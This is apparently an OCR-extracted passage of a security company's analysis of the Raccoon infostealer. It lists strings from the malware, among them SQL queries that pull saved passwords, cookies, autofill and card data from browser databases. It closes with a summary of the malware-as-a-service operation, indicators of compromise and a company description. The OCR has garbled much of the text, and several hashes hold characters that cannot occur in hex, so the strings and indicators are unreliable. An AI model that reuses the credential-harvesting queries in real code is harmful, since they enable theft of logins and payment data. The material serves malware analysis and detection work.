exports-stamp OxFFFFFFFF (Sat Feb 06 22:28:15 2106)
version-stamp
certificate-stamp

hint (70) value (631)
POST

explorer.exe
open

5-1-3-18

SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Microsoft\Cryptography
SOFTWARE\Microsoft\Windows\CurrentVersion\ Uninstall

rd value FROM logins
SELECT host key, path, is secure, expires utc, name, encrypted value FROM cookies

SELECT name, value FROM autofill

SELECT host path. isSecure. expiry. name value FROM moz cookies
SELECT fieldname. value FROM moz formhistory

SELECT name on card, card number encrypted, expiration month, expiration year FROM ...
GetProcAddress

LocalAlloc

Colnitialize

GetProcfddress

LocalAlloc

Colnitialize

URL:%s

USR: %68

PASS: %

Sad] e

- Locale: s

- 05 %s

- Time zone: %c%ld minutes from GMT

- Display size: %adx3d
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hint (70) value (631]

- RAM: %d MB

- Architecture: x%6d
- Display Devices:
logins.json

Content-Type: application/x
Content-Type: text/plain:
Uzer Data

wallets

wilts
Idr

scrnsht

sstrmnfo

token:

PATH
ProductMame
Web Data

Login Data

sqlited prepare w2
sqglited openlf
sqlited close
sqlited step

sqlite3 finalize
sglited column text1f

gglited column bytes16

sglited column blob

Eera
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Conclusions

This journey inside the Raccoon infostealer malware portal has shown how it is possible to easily
obtain, without any advanced technical requirements but only by investing a small initial amount, a
Malware as a Service available to anyone who requests it.

A malware that, once executed on board the victim machine, where the antivirus does not notice it,
manages to collect and extract numerous information about the endpoint and the user, such as:

- Hostname

-1P

- Username

- Password

- Browser navigation cookies
- Screenshot

- Cryptocurrency Wallet

- Credit Cards

- Chat Social Network

All the information collected is then sent to a Command and Control center (proxy), which is in turn
connected to a main proxy, and indexed within the "raccoon.biz" portal, from which it is then
quickly searchable and searchable.

Direct integration with Telegram, then, makes it even more immediate to consult the stolen data
(which are automatically received via chat, without even the need to connect to the portal).

A "simple" infrastructure for the user to use, but complex in its structure, formed by backends
capable of compiling "custom" malware (containing the IP of the C&C "hardcoded" in the code)
with a simple click of the user.

A criminal business that has led to millions of endpoints being compromised over the past two
years, exfiltrating and then reselling thousands of credentials, IDs, wallets, and credit cards, often
without the knowledge of the legitimate owners who more often than not remain unaware of what
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has happened until a notification from the bank alerts them to the fraudulent payments made by
the attacker.

Indicators of Compromission (IoCs)

- 2.1.1.1.d11 (b0a99%3fabf3d3c766cd6ec6589dfe3e’)
- 2.1.1.1.exe (5b75248a42610cl18825ff2065a60cd4f)
- 23.134.168.112 (proxy)

- 212.71.232.100 (proxy main)

- Eb93256b0d90b570aef093464b614a83 (configlD)

- DuckTales (UserAgent)

- AYAYAYAY1337 (UserAgent)
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About us

Swascan is a Cyber Security Company founded by Pierguido lezzi and Raoul Chiesa.

It is the first Italian cyber security company to own a cyber security testing and threat intelligence
platform, as well as a Cyber Competence Center that has received several national and
international awards from the most important players in the IT market and beyond.

Since October 2020, Swascan srl has been an integral part of Tinexta Cyber (Tinexta S.P.A.),
becoming an active leader in the first national Cyber Security Center: not just one company, but an
Italian group, a new national hub specialising in digital identity and digital security services.
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